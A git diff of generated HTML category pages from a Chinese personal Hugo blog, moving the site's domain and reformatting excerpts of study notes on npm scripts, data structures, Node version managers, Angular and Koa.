-<a class=next href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ....</p></div><footer class=entry-footer><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://chenjunlinabc.github.io/posts/110/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/page/3/index.html" "b/categories/\351\273\230\350\256\244/page/3/index.html"
index f8823b82..eee5d20b 100644
--- "a/categories/\351\273\230\350\256\244/page/3/index.html"
+++ "b/categories/\351\273\230\350\256\244/page/3/index.html"
@@ -1,36 +1,20 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解并且使用npm script</h2></header><div class=entry-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-"scripts": {
-"dev": "node hallo.js"
-}
-npm run dev // 等于执行node hallo.js
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解并且使用npm script</h2></header><div class=entry-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
+"scripts": { "dev": "node hallo.js" } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&&（依次运行），&（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-"scripts": {
-"predev": "echo hallo",
-"dev": "node hallo.js",
-"postdev": "echo yes"
-}
-相对于npm run predev && npm run dev && npm run postdev
+"scripts": { "predev": "echo hallo", "dev": "node hallo.js", "postdev": "echo yes" } 相对于npm run predev && npm run dev && npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
-"name": "root", "scripts": {
-"dev": "node hallo.js $npm_package_name"
-}
-}
-获取npm内部变量name
+{ "name": "root", "scripts": { "dev": "node hallo.js $npm_package_name" } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-"scripts": {
-"test": "echo \"Error: no test specified\" && exit 1"
-}
-传递参数...</p></div><footer class=entry-footer><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://xiaochenabc123.github.io/posts/109/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>数据结构学习笔记</h2></header><div class=entry-content><p>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
+"scripts": { "test": "echo \"Error: no test specified\" && exit 1" } 传递参数...</p></div><footer class=entry-footer><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://chenjunlinabc.github.io/posts/109/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>数据结构学习笔记</h2></header><div class=entry-content><p>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
 数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）
 集合：结构中的元素除了同属于一个集合外，没有别的关系
 线性结构：结构中的元素之间存在一对一的关系，一个对应一个
@@ -41,7 +25,7 @@
 栈：线性结构的一种特殊的存储方式
 数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面
 数据的获取也是才上面往下面获取的
-顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一</p></div><footer class=entry-footer><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构学习笔记" href=https://xiaochenabc123.github.io/posts/106/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一</p></div><footer class=entry-footer><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构学习笔记" href=https://chenjunlinabc.github.io/posts/106/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -78,51 +62,22 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Angular学习笔记</h2></header><div class=entry-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Angular学习笔记</h2></header><div class=entry-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-&lt;div ng-app ng-init="name='default'">
-&lt;p>name: &lt;input type="text" ng-model="name">&lt;/p>
-&lt;h1>hallo，{{name}}&lt;/h1>
-&lt;p ng-bind="name">&lt;/p>
-&lt;/div>
-ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=entry-footer><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Angular学习笔记" href=https://xiaochenabc123.github.io/posts/101/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Koa框架学习笔记</h2></header><div class=entry-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
+&lt;div ng-app ng-init="name='default'"> &lt;p>name: &lt;input type="text" ng-model="name">&lt;/p> &lt;h1>hallo，{{name}}&lt;/h1> &lt;p ng-bind="name">&lt;/p> &lt;/div> ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=entry-footer><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Angular学习笔记" href=https://chenjunlinabc.github.io/posts/101/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Koa框架学习笔记</h2></header><div class=entry-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require("koa")
-const app = new Koa()
-app.use(async (ctx, next) => {
-await next()
-ctx.response.type = 'text/html'
-ctx.response.body = '&lt;h1>hallo, koa!&lt;/h1>'
-})
-app.listen(3000)
-node app.js
+const Koa = require("koa") const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = '&lt;h1>hallo, koa!&lt;/h1>' }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require('koa')
-const app = new Koa()
-app.use(async(ctx)=>{
-const url =ctx.url
-const request =ctx.request
-const reqQuery = request.query
-const reqQuerystring = request.querystring
-ctx.body={
-url,
-reqQuery,
-reqQuerystring
-}
-})
-app.listen(3000,()=>{
-console.log('port 3000')
-})
-http://127....</p></div><footer class=entry-footer><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://xiaochenabc123.github.io/posts/100/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/2/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127....</p></div><footer class=entry-footer><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://chenjunlinabc.github.io/posts/100/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/2/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/page/4/index.html" "b/categories/\351\273\230\350\256\244/page/4/index.html"
index 8bf2b900..528255c4 100644
--- "a/categories/\351\273\230\350\256\244/page/4/index.html"
+++ "b/categories/\351\273\230\350\256\244/page/4/index.html"
@@ -1,25 +1,13 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ 